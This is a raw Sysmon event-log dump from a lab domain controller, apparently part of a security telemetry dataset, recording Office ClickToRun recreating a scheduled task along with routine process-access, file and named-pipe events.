154100x800000000000000041599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.928{7BD73061-6F39-613B-B108-00000000F001}6904C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Create /tn "Microsoft\Office\Office Feature Updates Logon" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates Logon.xml"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 10341000x800000000000000041598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.924{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-B008-00000000F001}2228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\Office Feature Updates LogonMD5=AD6DC17A43C5A6AEAEFC6CA714B15B82,SHA256=92C50917601489F24BF8183726DCC073048E779053389EB5AF555D72F95DAB37,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=834E20DA7D7BD2696CB45B17D419EA1D,SHA256=1EF304D75B7D7FAAEB36835D5CED662453FC43650224DDB75958CFE32744E051,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-B008-00000000F001}2228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.909{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F39-613B-B008-00000000F001}2228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.909{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.909{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:09.909{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.893{7BD73061-6F39-613B-AF08-00000000F001}58246908C:\Windows\system32\conhost.exe{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.893{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.893{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.893{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.893{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.877{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-AF08-00000000F001}5824C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.877{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.877{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9abc5|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f14fd|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.888{7BD73061-6F39-613B-AE08-00000000F001}6448C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\Office Feature Updates Logon"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 11241100x800000000000000041578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:09.877{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\Office Feature Updates2021-09-10 14:41:14.022 10341000x800000000000000041577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-AC08-00000000F001}5152C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:09.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F39-613B-AB08-00000000F001}3232C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 